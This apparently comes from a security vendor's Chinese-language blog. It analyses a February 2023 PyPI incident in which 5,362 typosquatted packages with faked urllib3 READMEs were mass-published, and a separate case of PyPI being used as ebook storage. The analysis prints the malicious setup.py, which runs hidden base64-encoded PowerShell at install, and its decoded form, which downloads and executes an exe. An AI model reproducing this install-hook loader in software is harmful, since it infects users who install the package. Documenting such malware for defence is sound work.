2023年2月,天问Python供应链威胁监测模块监测到PyPI出现软件包大规模删除事件,经过细致调研,我们发现两起大规模的安全事件。一是攻击者在短时间内向PyPI发布了5362个相同内容的恶意包,这些恶意包通过PowerShell代码下载恶意exe并进行执行,严重影响了软件源的安全。二是用户滥用PyPI的存储和下载功能,向PyPI上传了大量包含版权存疑的电子书的软件包,这起滥用事件持续时间将近3年之久,对于PyPI的可用性和稳定性造成了很大的威胁。

天问供应链威胁监测模块是奇安信技术研究星图实验室研发的“天问”软件供应链安全分析平台的子模块,“天问”分析平台对Python、npm等主流的开发生态进行了长期、持续的监测,发现了大量的恶意包和攻击行为。

1. 大规模包删除事件

我们的天问系统在监测PyPI的过程中,发现了在2月份的最后几天,出现了异常的删除事件。2月28号当天删除的包数量达到了11820个,而且从2月23号开始删除包的数量就开始出现异常。

delete

从2月份的创建包监测记录,我们发现了异常的包创建事件,因此我们怀疑是有攻击者在测试大规模自动化攻击。

create

我们统计了2月份所有的创建包以及删除包的记录,发现了3起用户异常创建包事件。如下表所示

用户名 2月份创建包数量
yandex-bot 1030
esquelesquad 5362
wizardforcel 8422

其中yandex-bot与我们之前分析的Yandex大规模私有包泄漏事件有关,其发布的包是为了预防依赖混淆攻击。具体内容可见我们之前的博客“Yandex数据泄漏引发大规模依赖混淆威胁”

在删除包的记录中,有两起异常事件,与上表中的另外两个用户一致。

用户名 2月份删除包数量
esquelesquad 5362
wizardforcel 11761

esquelesquad从2月24号到2月27号集中发布了5362个包,随后这些包被全部删除。wizardforcel则是从2月1号开始就持续发布软件包,2月份期间共发布了8422个包,在2月28号其账户下全部的11761个包均被删除。我们分析了这两个用户发布的包,分析结果如下文所示。

2 软件包分析

2.1 大规模恶意包攻击

esquelesquad

我们抽取了该作者发布的几个包,发现他们都具有相同的目录结构,如下图所示。

mal-files

setup.py

1
2
3
4
5
6
7
8
from distutils.core import setup

try:
import subprocess
import os
if not os.path.exists('tahg'):
subprocess.Popen('powershell -WindowStyle Hidden -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAiAGgAdAB0AHAAcwA6AC8ALwBkAGwALgBkAHIAbwBwAGIAbwB4AC4AYwBvAG0ALwBzAC8AcwB6AGcAbgB5AHQAOQB6AGIAdQBiADAAcQBtAHYALwBFAHMAcQB1AGUAbABlAC4AZQB4AGUAPwBkAGwAPQAwACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAH4ALwBXAGkAbgBkAG8AdwBzAEMAYQBjAGgAZQAuAGUAeABlACIAOwAgAEkAbgB2AG8AawBlAC0ARQB4AHAAcgBlAHMAcwBpAG8AbgAgACIAfgAvAFcAaQBuAGQAbwB3AHMAQwBhAGMAaABlAC4AZQB4AGUAIgA=', shell=False, creationflags=subprocess.CREATE_NO_WINDOW)
except: pass

其在setup.py中插入了一段PowerShell代码,使用base64编码混淆。解混淆结果如下所示:

1
powershell Invoke-WebRequest -Uri "https[:]//dl.dropbox.com/s/szgnyt9zbub0qmv/Esquele.exe?dl=0" -OutFile "~/WindowsCache.exe"; Invoke-Expression "~/WindowsCache.exe"

可以看到这段代码从一个第三方网站下载了恶意exe样本进行执行。

我们分析了这些包的README.md,他们仿照了urllib3README.md,在相应的包名位置做了替换。

流行包urllib3README.md

urllib3

伪造README.md

fake-urllib3

查看作者的pypi账户,可以看到这个账户在2023年2月24号首次注册,在注册之后就大规模发布相同内容的恶意包,而且其包名都极具迷惑性,README也经过精心伪装。可以推测这是攻击者一次有目的性的大规模攻击测试行为,从这次事件可知攻击者已然具备短时间大规模发布恶意包的能力,这让安全防御变得更加困难。

esq-user

2.2 开源代码软件源滥用

wizardforcel

该作者发布的部分包名如下图所示,大部分都是中文拼音构成。

zh-list

我们随机抽取了其中几个包,发现里面的内容是一些电子书或者技术博客。

caozuo_xitong_huazhang-2023.1.14.0

czxt

czxt-pdf

包内的.py文件是构建一个网页,来查看包内的电子书信息。README.md中也有相关操作说明。所以,我们推测该作者是利用PyPI代码软件源作为免费的第三方云存储来分发这些电子书文件。

czxt-readme

README.md内容可知,该作者不仅使用PyPI作为其云存储库,同时还在npm和DockerHub中发布了相关电子书内容。

包的__init__.py文件如下所示:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""caozuo-xitong-huazhang
https://github.com/apachecn/caozuo-xitong-huazhang"""

__author__ = "ApacheCN"
__email__ = "apachecn@163.com"
__license__ = "CC BY-NC-SA 4.0"
__version__ = "2023.1.14.0"

作者信息一栏为”ApacheCN”,我们在GitHub上找到了这个组织的仓库。

apachecn

如图所示,该组织的介绍中表明其主要工作内容为公益性的文档和教程翻译。这一信息与包内的电子书文件对应。我们在该组织的合作者找到了一个特殊的用户,他的名字也是wizardforcel。其个人主页如下所示。

wizardforcel

其在GitHub中公布了自己的简历,从简历中可知,他一直在维护一个技术社区【布客社区】,而【ApacheCN】则是其开展的大规模文档翻译项目。同时通过搜索引擎检索到,他在bilibili上维护着布客社区的公告。

从历史公告中可以看出,他们翻译的文章先后通过GitHub、微博短链接 t.cn、 Gitee、bilibili Drive和各种CDN Driver等方式传播。2020年10月26号,他们宣布他们的电子书内容开始在npm、 PyPI和DockHub 进行存储传播。

2020.10.26发布相关公告

buke-npm-pypi

我们查看了wizardforcel在PyPI上发包的历史记录,在将PyPI作为云存储库之前,他发布了4个包。这些包的主要功能是将文件转换成图片格式上传到bilibili、CDN上进行备份。

pypi-log

在2020.9.20,他开始向PyPI上传电子文档,作为其免费的云存储库。我们查看了npm中的相关历史记录,发现其几乎在同一时间,开始向npm上传电子文档。PyPI中的AirflowDocZh和npm中的airflow-doc-zh应该是同一个文件。

npm_log

目前该用户在PyPI中的账户下所有包均被删除,但在npm中其仍在更新。

根据PyPI官方博客的公告,其在3月份收到来自美国司法部的三个用户数据传票,尚不清楚这次传票是否与上述事件有关。

pypi-blog

3. 结语

无论是大规模攻击事件,还是开源软件源滥用,都表明目前攻击者已经完全具备短时间大规模向开源软件源上传软件包的能力。短时间大规模的包上传事件可能会严重影响这些开源代码软件源的使用,如何防御这类攻击事件变得非常重要。最近,PyPI官方宣布开启双因素身份验证(Two-Factor Authentication,2FA)来保护个人账户安全。但2FA无法有效应对这种大规模恶意包上传攻击。我们在4月份发布的报告中指出npm因大量垃圾软件包攻击导致npm软件源短暂不可用的情况,具体报告内容可见P2Pshnik:NPM生态深陷垃圾软件包攻击泥潭。类似的情况非常有可能出现在PyPI软件源中,值得警惕。

此次滥用事件表明,开源生态面临的挑战不止是安全威胁,还有软件源的可用性、稳定性。如果大量垃圾软件包充斥在软件源中,将会严重影响正常开发者的使用体验,而且对于软件源的维护者而言也是一个巨大的负担。作为包维护者,应该遵守开源社区的规则,不要滥用社区资源,共同维护好开源社区生态。